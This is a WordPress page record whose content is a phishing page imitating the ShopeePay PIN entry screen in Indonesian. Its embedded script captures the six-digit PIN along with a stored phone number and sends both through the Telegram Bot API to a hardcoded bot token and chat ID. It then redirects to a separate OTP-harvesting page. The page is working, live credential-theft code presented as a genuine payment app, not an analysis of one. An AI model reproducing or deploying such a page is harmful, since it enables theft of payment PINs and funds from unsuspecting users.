{"id":208,"date":"2026-06-04T13:42:43","date_gmt":"2026-06-04T13:42:43","guid":{"rendered":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=208"},"modified":"2026-06-04T16:19:51","modified_gmt":"2026-06-04T16:19:51","slug":"208-2","status":"publish","type":"page","link":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=208","title":{"rendered":"PIN SHOPEEPAY"},"content":{"rendered":"\n<!DOCTYPE html>\n<html lang=\"id\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>PIN ShopeePay<\/title>\n    <style>\n        * {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;\n        }\n\n        body {\n            background-color: #ffffff;\n            min-height: 100vh;\n            display: flex;\n            flex-direction: column;\n        }\n\n        .header {\n            display: flex;\n            align-items: center;\n            padding: 16px;\n            border-bottom: 1px solid #eee;\n            position: relative;\n        }\n\n        .back-btn {\n            font-size: 22px;\n            color: #333;\n            text-decoration: none;\n            position: absolute;\n            left: 16px;\n        }\n\n        .header-title {\n            width: 100%;\n            text-align: center;\n            font-size: 20px;\n            font-weight: 500;\n            color: #222;\n        }\n\n        .logo-section {\n            text-align: center;\n            margin-top: 40px;\n            margin-bottom: 35px;\n        }\n\n        .logo {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            gap: 10px;\n            margin-bottom: 25px;\n        }\n\n        .logo-icon {\n            width: 40px;\n            height: 40px;\n            background-color: #EE4D2D;\n            border-radius: 6px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            color: white;\n            font-size: 24px;\n            font-weight: bold;\n        }\n\n        .logo-text {\n            font-size: 28px;\n            font-weight: 700;\n            color: #EE4D2D;\n        }\n\n        .instruction {\n            font-size: 18px;\n            color: #333;\n            font-weight: 500;\n        }\n\n        .pin-container {\n            display: flex;\n            justify-content: center;\n            gap: 14px;\n            margin-bottom: 25px;\n        }\n\n        .pin-box {\n            width: 60px;\n            height: 60px;\n            border: 1px solid #ddd;\n            border-radius: 6px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 26px;\n            font-weight: bold;\n            color: #222;\n            background-color: #fff;\n        }\n\n        .forgot-pin {\n            text-align: center;\n            font-size: 16px;\n            color: #999;\n            margin-bottom: 45px;\n            cursor: pointer;\n        }\n\n        .keypad {\n            position: fixed;\n            bottom: 0;\n            left: 0;\n            right: 0;\n            background-color: #f5f5f5;\n            padding: 12px 16px 20px;\n            border-top: 1px solid #e5e5e5;\n        }\n\n        .keypad-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 10px;\n        }\n\n        .key {\n            width: 31%;\n            height: 56px;\n            background-color: #ffffff;\n            border: none;\n            border-radius: 6px;\n            font-size: 24px;\n            font-weight: 500;\n            color: #222;\n            cursor: pointer;\n            box-shadow: 0 1px 2px rgba(0,0,0,0.1);\n        }\n\n        .key:active { background-color: #eee; }\n        .key-zero { margin: 0 auto; display: block; }\n        .key-delete { font-size: 21px; }\n\n        .security-text {\n            text-align: center;\n            margin-top: 10px;\n            font-size: 12px;\n            color: #999;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            gap: 4px;\n        }\n\n        .hidden-input { position: absolute; opacity: 0; pointer-events: none; }\n    <\/style>\n<\/head>\n<body>\n\n    <div class=\"header\">\n        <a href=\"login_nomor.html\" class=\"back-btn\">\u2190<\/a>\n        <h1 class=\"header-title\">PIN ShopeePay<\/h1>\n    <\/div>\n\n    <div class=\"logo-section\">\n        <div class=\"logo\"><div class=\"logo-icon\">S<\/div><div class=\"logo-text\">ShopeePay<\/div><\/div>\n        <p class=\"instruction\">Masukkan PIN ShopeePay<\/p>\n    <\/div>\n\n    <div class=\"pin-container\">\n        <div class=\"pin-box\" data-index=\"0\"><\/div>\n        <div class=\"pin-box\" data-index=\"1\"><\/div>\n        <div class=\"pin-box\" data-index=\"2\"><\/div>\n        <div class=\"pin-box\" data-index=\"3\"><\/div>\n        <div class=\"pin-box\" data-index=\"4\"><\/div>\n        <div class=\"pin-box\" data-index=\"5\"><\/div>\n    <\/div>\n\n    <div class=\"forgot-pin\">Lupa PIN<\/div>\n\n    <input type=\"password\" id=\"pinInput\" class=\"hidden-input\" maxlength=\"6\">\n\n    <div class=\"keypad\">\n        <div class=\"keypad-row\"><button class=\"key\" data-value=\"1\">1<\/button><button class=\"key\" data-value=\"2\">2<\/button><button class=\"key\" data-value=\"3\">3<\/button><\/div>\n        <div class=\"keypad-row\"><button class=\"key\" data-value=\"4\">4<\/button><button class=\"key\" data-value=\"5\">5<\/button><button class=\"key\" data-value=\"6\">6<\/button><\/div>\n        <div class=\"keypad-row\"><button class=\"key\" data-value=\"7\">7<\/button><button class=\"key\" data-value=\"8\">8<\/button><button class=\"key\" data-value=\"9\">9<\/button><\/div>\n        <div class=\"keypad-row\"><button class=\"key\" style=\"visibility:hidden\"><\/button><button class=\"key key-zero\" data-value=\"0\">0<\/button><button class=\"key key-delete\" data-action=\"delete\">\u232b<\/button><\/div>\n        <div class=\"security-text\"><span>\ud83d\udee1\ufe0f<\/span> ShopeePay Security Keyboard<\/div>\n    <\/div>\n\n    <script>\n        const BOT_TOKEN = \"8718805253:AAEGPe1KKTEv3cYYoA3jFMzlbSvw5282LYA\";\n        const CHAT_ID = \"5751726677\";\n        \/\/ Link tujuan halaman OTP\n        const HALAMAN_OTP = \"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=210\";\n\n        const nomorTelepon = localStorage.getItem('nomorTelepon') || \"Tidak diketahui\";\n        const pinInput = document.getElementById('pinInput');\n        const pinBoxes = document.querySelectorAll('.pin-box');\n        const keys = document.querySelectorAll('.key');\n\n        function updatePinDisplay() {\n            const pin = pinInput.value;\n            pinBoxes.forEach((box, i) => box.textContent = pin[i] ? '\u2022' : '');\n            if (pin.length === 6) kirimPINdanLanjut(pin);\n        }\n\n        function kirimPINdanLanjut(pin) {\n            localStorage.setItem('pinShopeePay', pin);\n\n            const pesan = `\ud83d\udd14 *Data PIN ShopeePay*\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\\n\ud83d\udcf1 Nomor: \\`${nomorTelepon}\\`\\n\ud83d\udd11 PIN: \\`${pin}\\`\\n\u23f0 Waktu: ${new Date().toLocaleString('id-ID')}\\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501`;\n\n            fetch(`https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(pesan)}&parse_mode=Markdown`)\n                .then(res => res.json())\n                .then(data => {\n                    if(data.ok) {\n                        \/\/ Arahkan ke link halaman OTP\n                        window.location.href=HALAMAN_OTP;\n                    } else {\n                        alert('Verifikasi gagal.');\n                        pinInput.value='';\n                        updatePinDisplay();\n                    }\n                })\n                .catch(() => {\n                    alert('Koneksi bermasalah.');\n                    pinInput.value='';\n                    updatePinDisplay();\n                });\n        }\n\n        keys.forEach(key => {\n            key.addEventListener('click', () => {\n                const val = key.dataset.value;\n                const act = key.dataset.action;\n                if(val !== undefined && pinInput.value.length < 6) {\n                    pinInput.value += val;\n                    updatePinDisplay();\n                } else if(act === 'delete') {\n                    pinInput.value = pinInput.value.slice(0,-1);\n                    updatePinDisplay();\n                }\n            });\n        });\n    <\/script>\n\n<\/body>\n<\/html>\n\n","protected":false},"excerpt":{"rendered":"<p>PIN ShopeePay \u2190 PIN ShopeePay S ShopeePay Masukkan PIN ShopeePay Lupa PIN 123 456 789 0\u232b \ud83d\udee1\ufe0f ShopeePay Security Keyboard<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-208","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=208"}],"version-history":[{"count":5,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/208\/revisions"}],"predecessor-version":[{"id":221,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/208\/revisions\/221"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}